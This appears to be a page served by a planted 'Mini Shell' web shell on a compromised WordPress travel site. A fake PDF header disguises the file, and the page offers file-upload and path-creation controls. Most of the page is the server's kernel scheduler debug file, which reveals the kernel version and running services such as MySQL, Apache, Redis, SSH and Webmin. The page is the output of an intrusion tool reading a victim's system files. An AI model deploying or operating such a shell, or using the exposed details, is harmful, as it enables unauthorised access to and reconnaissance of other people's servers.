%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/www/html/friendstravel.al/wp-content/uploads/k2/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/var/www/html/friendstravel.al/wp-content/uploads/k2/root/proc/sched_debug

Sched Debug Version: v0.11, 4.18.0-17-generic #18-Ubuntu
ktime                                   : 3623678114.492266
sched_clk                               : 3623698318.804266
cpu_clk                                 : 3623696955.744080
jiffies                                 : 5200811825
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 2.250000
  .sysctl_sched_wakeup_granularity         : 3.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 4118331
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2496.250 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 230712188
  .nr_load_updates               : 224475569
  .nr_uninterruptible            : -2446
  .next_balance                  : 5200.811810
  .curr->pid                     : 0
  .clock                         : 3623696913.363657
  .clock_task                    : 3623696913.363657
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 0
  .avg_idle                      : 4860106
  .max_idle_balance_cost         : 2430053

cfs_rq[0]:/autogroup-51
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2918971.013296
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -59550204.199118
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696849.754458
  .se->vruntime                  : 62469172.934552
  .se->sum_exec_runtime          : 5235351.421394
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/autogroup-52
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 22488967.337885
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -39980207.874529
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 1
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 1
  .tg_load_avg                   : 38
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696866.530676
  .se->vruntime                  : 62469173.722870
  .se->sum_exec_runtime          : 28135169.285598
  .se->load.weight               : 17623
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 62469175.212414
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I         rcu_gp     3  61049042.951154         3   100         0.000000         0.041733         0.000000 0 0 /
 I     rcu_par_gp     4        15.954261         2   100         0.000000         0.000000         0.000000 0 0 /
 I   kworker/0:0H     6      1245.838501         7   100         0.000000         0.024867         0.000000 0 0 /
 S    ksoftirqd/0     9  62469158.031501   1065483   120         0.000000    100400.635944         0.000000 0 0 /
 I         rcu_bh    11        27.521911         2   120         0.000000         0.000000         0.000000 0 0 /
 S    migration/0    12        29.521910     73258     0         0.000000     36842.945735         0.000000 0 0 /
 S     watchdog/0    13         0.000000    905922     0         0.000000     14957.858405         0.000000 0 0 /
 S        cpuhp/0    14      1257.727774        12   120         0.000000         0.227931         0.000000 0 0 /
 I     scsi_tmf_1   121       675.409807         2   100         0.000000         0.018488         0.000000 0 0 /
 I   kworker/0:1H   336  62469060.074088    833016   100         0.000000     40433.402942         0.000000 0 0 /
 S       rsyslogd   691    239303.743901      6099   120         0.000000       507.905711         0.000000 0 0 /autogroup-30
 S  rs:main Q:Reg   740    239334.853340   1551994   120         0.000000    674028.884243         0.000000 0 0 /autogroup-30
 S    dbus-daemon   704    450879.712381   3091931   120         0.000000   2759712.339876         0.000000 0 0 /autogroup-32
 S     irqbalance   718     24256.559593    362571   120         0.000000    142763.632591         0.000000 0 0 /autogroup-35
 S         agetty   791         0.611141         9   120         0.000000         5.254797         0.000000 0 0 /autogroup-54
 S         mysqld   906   2918962.629097   7243888   120         0.000000    397621.221266         0.000000 0 0 /autogroup-51
 S         mysqld   907   2918962.191814   7243904   120         0.000000    397117.167142         0.000000 0 0 /autogroup-51
 S         mysqld   908   2918962.598905   7243946   120         0.000000    397092.384017         0.000000 0 0 /autogroup-51
 S         mysqld   909   2918962.637754   7243986   120         0.000000    396605.774253         0.000000 0 0 /autogroup-51
 S         mysqld   935   2918962.041137    459782   120         0.000000     74490.409428         0.000000 0 0 /autogroup-51
 S         mysqld   936   2918962.090561    724919   120         0.000000     43823.456571         0.000000 0 0 /autogroup-51
 S         mysqld   940        75.005347         1   120         0.000000         0.054071         0.000000 0 0 /autogroup-51
 S         mysqld   973   2918970.390237   5199675   120         0.000000   3245625.423163         0.000000 0 0 /autogroup-51
 S         mysqld  3047   2918971.013296     51523   120         0.000000     42905.609467         0.000000 0 0 /autogroup-51
 S         mysqld  3058   2918958.248695     50030   120         0.000000     39576.550999         0.000000 0 0 /autogroup-51
 S            php   948   2447867.181909   6190505   120         0.000000   3690901.064011         0.000000 0 0 /autogroup-38
 S            php 19851  22488959.028630   2570053   120         0.000000    392261.224678         0.000000 0 0 /autogroup-52
 S            php 31561  22488959.021592   2503948   120         0.000000    383238.389524         0.000000 0 0 /autogroup-52
 S    miniserv.pl 14071     36908.482732         1   120         0.000000         0.558267         0.000000 0 0 /autogroup-65
 S    miniserv.pl 29922     37090.808723         1   120         0.000000         0.951046         0.000000 0 0 /autogroup-65
 S    miniserv.pl 29985     37111.832962         1   120         0.000000         0.697997         0.000000 0 0 /autogroup-65
 S    miniserv.pl 29519     37936.373814         1   120         0.000000        10.308228         0.000000 0 0 /autogroup-65
 I    kworker/0:0 15778  62469167.383187     98530   120         0.000000     14228.119066         0.000000 0 0 /
 I    kworker/0:2 15162  62358160.769817         2   120         0.000000         0.028131         0.000000 0 0 /
 I  kworker/u12:0 22689  62469166.339371      7986   120         0.000000       453.757687         0.000000 0 0 /
 S        apache2 24210  22488928.514024        80   120         0.000000       159.801336         0.000000 0 0 /autogroup-52
 S        apache2 24222  22488958.381620        41   120         0.000000        29.717275         0.000000 0 0 /autogroup-52

cpu#1, 2496.250 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 223910879
  .nr_load_updates               : 218666171
  .nr_uninterruptible            : -1473
  .next_balance                  : 5200.811810
  .curr->pid                     : 0
  .clock                         : 3623696913.364007
  .clock_task                    : 3623696913.364007
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 0
  .avg_idle                      : 1513644
  .max_idle_balance_cost         : 747952

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 61484479.164041
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -984696.048373
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/1    15       731.728745        12   120         0.000000         0.365697         0.000000 0 0 /
 S     watchdog/1    16        -3.000000    905922     0         0.000000     13868.682544         0.000000 0 0 /
 S    migration/1    17        42.521902     72628     0         0.000000     37491.613994         0.000000 0 0 /
 S    ksoftirqd/1    18  61484456.134079   1219859   120         0.000000    161588.781576         0.000000 0 0 /
 I   kworker/1:0H    20       592.740497         8   100         0.000000         0.100008         0.000000 0 0 /
 I    kintegrityd    59         7.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 I        ata_sff    61         7.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 I       kthrotld   116       206.494329         2   100         0.000000         0.015957         0.000000 0 0 /
 I          kstrp   137       351.563415         2   100         0.000000         0.013870         0.000000 0 0 /
 I     scsi_tmf_2   211       447.899517         2   100         0.000000         0.023905         0.000000 0 0 /
 I   kworker/1:1H   232  61484445.394396   1014948   100         0.000000     42305.267307         0.000000 0 0 /
 Iext4-rsv-conver   235       610.947510         2   100         0.000000         0.050356         0.000000 0 0 /
 Iext4-rsv-conver   511      1308.965295         2   100         0.000000         0.017357         0.000000 0 0 /
 Ssystemd-timesyn   600      1654.197947     34537   120         0.000000      9486.294919         0.000000 0 0 /autogroup-25
 S systemd-logind   700      2074.122908     38369   120         0.000000     13179.466151         0.000000 0 0 /autogroup-31
 S           cron   732    933272.300897    250258   120         0.000000    253739.087529         0.000000 0 0 /autogroup-36
 S          gmain   866         5.624597         1   120         0.000000         0.065919         0.000000 0 0 /autogroup-37
 S    supervisord   755   2488053.347706   3626641   120         0.000000    973607.064762         0.000000 0 0 /autogroup-38
 S         mysqld   902         8.062944         1   120         0.000000         0.111528         0.000000 0 0 /autogroup-51
 S         mysqld   937        37.113506         1   120         0.000000         0.091918         0.000000 0 0 /autogroup-51
 S         mysqld   976   3009717.531643   5201135   120         0.000000   3254379.724881         0.000000 0 0 /autogroup-51
 S         mysqld   997   3009719.065069   5156426   120         0.000000   3207956.150476         0.000000 0 0 /autogroup-51
 S         mysqld  3053   3009707.733207     52258   120         0.000000     43722.801053         0.000000 0 0 /autogroup-51
 S            php  8251  21270957.127340   2678751   120         0.000000    407485.970354         0.000000 0 0 /autogroup-52
 S    miniserv.pl 24548     20787.287975         1   120         0.000000         0.651547         0.000000 0 0 /autogroup-65
 S    miniserv.pl  9279     28042.042948         1   120         0.000000         0.650145         0.000000 0 0 /autogroup-65
 I    kworker/1:1 24453  61484470.051352     22570   120         0.000000      1349.492720         0.000000 0 0 /
 I    kworker/1:2  7847  61330730.277238         7   120         0.000000        14.832001         0.000000 0 0 /
 I  kworker/u12:1 23752  61483446.472968      2159   120         0.000000       108.483720         0.000000 0 0 /
 S        apache2 24113  21270952.808664       138   120         0.000000       204.015613         0.000000 0 0 /autogroup-52
 I  kworker/u12:2 24167  61484470.276370       237   120         0.000000        13.056710         0.000000 0 0 /
 S           sshd 24248         0.783768        11   120         0.000000        25.507340         0.000000 0 0 /autogroup-439964

cpu#2, 2496.250 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 225450725
  .nr_load_updates               : 219718873
  .nr_uninterruptible            : -1889
  .next_balance                  : 5200.811813
  .curr->pid                     : 0
  .clock                         : 3623696913.366651
  .clock_task                    : 3623696913.366651
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 0
  .avg_idle                      : 3066030
  .max_idle_balance_cost         : 1533015

cfs_rq[2]:/autogroup-52
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 20536346.326907
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -41932828.885507
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 22
  .runnable_load_avg             : 0
  .util_avg                      : 22
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 22
  .tg_load_avg                   : 38
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696865.750185
  .se->vruntime                  : 60195258.912971
  .se->sum_exec_runtime          : 25339789.178536
  .se->load.weight               : 913759
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 19
  .se->avg.util_avg              : 22
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/autogroup-49
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1211852.656285
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -61257322.556129
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 2
  .runnable_load_avg             : 0
  .util_avg                      : 2
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 2
  .tg_load_avg                   : 2
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696872.096933
  .se->vruntime                  : 60195250.109095
  .se->sum_exec_runtime          : 1213627.282749
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/autogroup-51
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2949625.280749
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -59519549.931665
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696795.292066
  .se->vruntime                  : 60195247.177695
  .se->sum_exec_runtime          : 5346187.079919
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 60195258.912971
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -2273916.299443
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 19
  .runnable_load_avg             : 0
  .util_avg                      : 24
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[2]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[2]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I   mm_percpu_wq     8  56683142.797176        23   100         0.000000         5.644484         0.000000 0 0 /
 S        cpuhp/2    21      1575.823676        12   120         0.000000         0.341961         0.000000 0 0 /
 S     watchdog/2    22        -6.000000    905922     0         0.000000     13894.107859         0.000000 0 0 /
 S    migration/2    23        68.521888     73310     0         0.000000     36937.963449         0.000000 0 0 /
 S    ksoftirqd/2    24  60195186.869047    970215   120         0.000000     73435.717517         0.000000 0 0 /
 I   kworker/2:0H    26       684.398070         8   100         0.000000         0.100991         0.000000 0 0 /
 S      kdevtmpfs    45      1526.809842       167   120         0.000000         4.020950         0.000000 0 0 /
 I        kblockd    60         7.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 I             md    62        16.963323         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd    66         0.000000         2     0         0.000000         0.009815         0.000000 0 0 /
 Iacpi_thermal_pm   117       233.549193         2   100         0.000000         0.032539         0.000000 0 0 /
 S      scsi_eh_0   118       271.883336         4   120         0.000000         0.912719         0.000000 0 0 /
 S      scsi_eh_2   210       585.927932         2   120         0.000000         0.030294         0.000000 0 0 /
 I   kworker/2:1H   231  60195186.832340    992646   100         0.000000     42754.425473         0.000000 0 0 /
 S    jbd2/sda2-8   234  60195187.054786   3988891   120         0.000000    492391.686094         0.000000 0 0 /
 Ssystemd-journal   277    283481.240490   2387782   119         0.000000   2042194.702535         0.000000 0 0 /autogroup-9
 S           none   295      1937.368514        65   120         0.000000         2.031381         0.000000 0 0 /
 Ssystemd-network   599      1074.543888     30267   120         0.000000      7085.711941         0.000000 0 0 /autogroup-24
 Saccounts-daemon   706    114244.404733        82   120         0.000000        40.842990         0.000000 0 0 /autogroup-33
 S           sshd   824    431703.526672    582542   120         0.000000    316232.262268         0.000000 0 0 /autogroup-48
 S   redis-server   871   1211852.656285  36061596   120         0.000000   6996151.501438         0.000000 0 0 /autogroup-49
 S         mysqld   890   2949619.302840    190968   120         0.000000     94276.040417         0.000000 0 0 /autogroup-51
 S         mysqld   913   2949617.580247   7326604   120         0.000000    406457.571303         0.000000 0 0 /autogroup-51
 S         mysqld   914   2949621.859212   3769791   120         0.000000    332316.478953         0.000000 0 0 /autogroup-51
 S         mysqld   926   2949617.574578   3623506   120         0.000000    217126.729678         0.000000 0 0 /autogroup-51
 S         mysqld   928   2949616.378175    724886   120         0.000000     41373.077833         0.000000 0 0 /autogroup-51
 S         mysqld   931   2949609.432960    323382   120         0.000000    158451.469848         0.000000 0 0 /autogroup-51
 S         mysqld  3054   2949625.280749     50963   120         0.000000     43772.318947         0.000000 0 0 /autogroup-51
 S            php   950   2555976.249028   6190282   120         0.000000   3693606.362102         0.000000 0 0 /autogroup-38
 S            php   951   2555979.646315   6199594   120         0.000000   3919882.323110         0.000000 0 0 /autogroup-38
 S            php   952   2555980.628155   6199330   120         0.000000   3908890.664115         0.000000 0 0 /autogroup-38
 S            php 30773  20536324.667704   2505150   120         0.000000    379169.904644         0.000000 0 0 /autogroup-52
 S    miniserv.pl  9975     32511.899457         1   120         0.000000         0.791737         0.000000 0 0 /autogroup-65
 I    kworker/2:0 13535  60121494.746334      1772   120         0.000000       113.069656         0.000000 0 0 /
 I    kworker/2:1 17757  60195230.013393      4442   120         0.000000       285.590750         0.000000 0 0 /
 S        apache2 24111  20536263.716677       162   120         0.000000       257.338461         0.000000 0 0 /autogroup-52
 S        apache2 24142  20536288.092351        77   120         0.000000        94.279866         0.000000 0 0 /autogroup-52
 S        apache2 24146  20536346.326907       168   120         0.000000       265.545162         0.000000 0 0 /autogroup-52
 S        apache2 24214  20536304.451539        30   120         0.000000        32.752373         0.000000 0 0 /autogroup-52

cpu#3, 2496.250 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 230213365
  .nr_load_updates               : 235644179
  .nr_uninterruptible            : 8780
  .next_balance                  : 5200.811822
  .curr->pid                     : 0
  .clock                         : 3623696929.335568
  .clock_task                    : 3623696929.335568
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 0
  .cpu_load[2]                   : 0
  .cpu_load[3]                   : 0
  .cpu_load[4]                   : 0
  .avg_idle                      : 6971324
  .max_idle_balance_cost         : 3931032

cfs_rq[3]:/autogroup-51
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2961730.146228
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -59507445.066186
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696663.195574
  .se->vruntime                  : 71497016.441297
  .se->sum_exec_runtime          : 5367778.214953
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[3]:/autogroup-52
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 27057584.193373
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -35411591.019041
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 14
  .runnable_load_avg             : 0
  .util_avg                      : 1
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 14
  .tg_load_avg                   : 38
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 3623696866.356094
  .se->vruntime                  : 71497025.534293
  .se->sum_exec_runtime          : 36578521.453269
  .se->load.weight               : 448109
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 6
  .se->avg.util_avg              : 1
  .se->avg.runnable_load_avg     : 0

cfs_rq[3]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 71497025.534293
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 9027850.321879
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 15
  .runnable_load_avg             : 0
  .util_avg                      : 3
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[3]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[3]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1    135382.441881   1188162   120         0.000000    752420.077858         0.000000 0 0 /autogroup-2
 I      rcu_sched    10  71497016.742756 240762612   120         0.000000  17219467.461971         0.000000 0 0 /
 S        cpuhp/3    27       626.671862        12   120         0.000000         0.337638         0.000000 0 0 /
 S     watchdog/3    28        -6.000000    905922     0         0.000000     14505.571813         0.000000 0 0 /
 S    migration/3    29       102.521872     71723     0         0.000000     36294.779057         0.000000 0 0 /
 S    ksoftirqd/3    30  71496998.994848   2216557   120         0.000000    603656.392938         0.000000 0 0 /
 I   kworker/3:0H    32       676.411353         8   100         0.000000         0.038317         0.000000 0 0 /
 I          netns    46         7.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 S     khugepaged    57  71496906.122416    354262   139         0.000000     91036.404533         0.000000 0 0 /
 I    edac-poller    63       122.912574         2   100         0.000000         0.000000         0.000000 0 0 /
 I  kworker/u13:0    70       122.931323         2   100         0.000000         0.028313         0.000000 0 0 /
 S      scsi_eh_1   120       260.130435         4   120         0.000000         1.444757         0.000000 0 0 /
 Icharger_manager   156       268.475342         2   100         0.000000         0.044568         0.000000 0 0 /
 I   kworker/3:1H   363  71496711.864043    906916   100         0.000000     40667.916065         0.000000 0 0 /
 S    jbd2/sda1-8   510      1253.339103        14   120         0.000000         0.292630         0.000000 0 0 /
 S      in:imklog   739    225524.388367    294795   120         0.000000     63208.856239         0.000000 0 0 /autogroup-30
 S          gmain   734    126144.069883   4080861   120         0.000000    749595.298968         0.000000 0 0 /autogroup-33
 Sunattended-upgr   753        10.664587       158   120         0.000000        53.459317         0.000000 0 0 /autogroup-37
 S   redis-server   878         7.972300         1   120         0.000000         0.020882         0.000000 0 0 /autogroup-49
 S   redis-server   880        16.978714         1   120         0.000000         0.006420         0.000000 0 0 /autogroup-49
 S         mysqld   904   2961721.332588   7243936   120         0.000000    398579.522265         0.000000 0 0 /autogroup-51
 S         mysqld   910   2961721.307989   7466511   120         0.000000    426996.237458         0.000000 0 0 /autogroup-51
 S         mysqld   911   2961721.315973   7339706   120         0.000000    408128.714285         0.000000 0 0 /autogroup-51
 S         mysqld   927   2961721.231856   3623798   120         0.000000    253596.410484         0.000000 0 0 /autogroup-51
 S         mysqld   932   2961713.132101    359359   120         0.000000    248007.685238         0.000000 0 0 /autogroup-51
 S         mysqld   974   2961724.349463   5201947   120         0.000000   3264736.540295         0.000000 0 0 /autogroup-51
 S         mysqld   996   2961730.146228   5157462   120         0.000000   3213909.178132         0.000000 0 0 /autogroup-51
 S         mysqld  3007   2961727.611589     51816   120         0.000000     43058.447374         0.000000 0 0 /autogroup-51
 S        apache2   903  27057575.399031   3671650   120         0.000000   2354793.397328         0.000000 0 0 /autogroup-52
 S            php 31429  27057575.321445   2504176   120         0.000000    380583.339303         0.000000 0 0 /autogroup-52
 S    miniserv.pl 11592     21616.581097         1   120         0.000000         0.689404         0.000000 0 0 /autogroup-65
 S    miniserv.pl 10689     33681.097728         1   120         0.000000         0.697056         0.000000 0 0 /autogroup-65
 I    kworker/3:1  4282  71497016.348981     68068   120         0.000000      4424.420267         0.000000 0 0 /
 I    kworker/3:0 22261  71461582.979958         5   120         0.000000         0.948292         0.000000 0 0 /
 S        apache2 23980  27057568.355065       396   120         0.000000       714.148696         0.000000 0 0 /autogroup-52
 S        apache2 24112  27057559.982414       234   120         0.000000       483.436049         0.000000 0 0 /autogroup-52
 S        apache2 24135  27057487.950273       114   120         0.000000        82.425512         0.000000 0 0 /autogroup-52
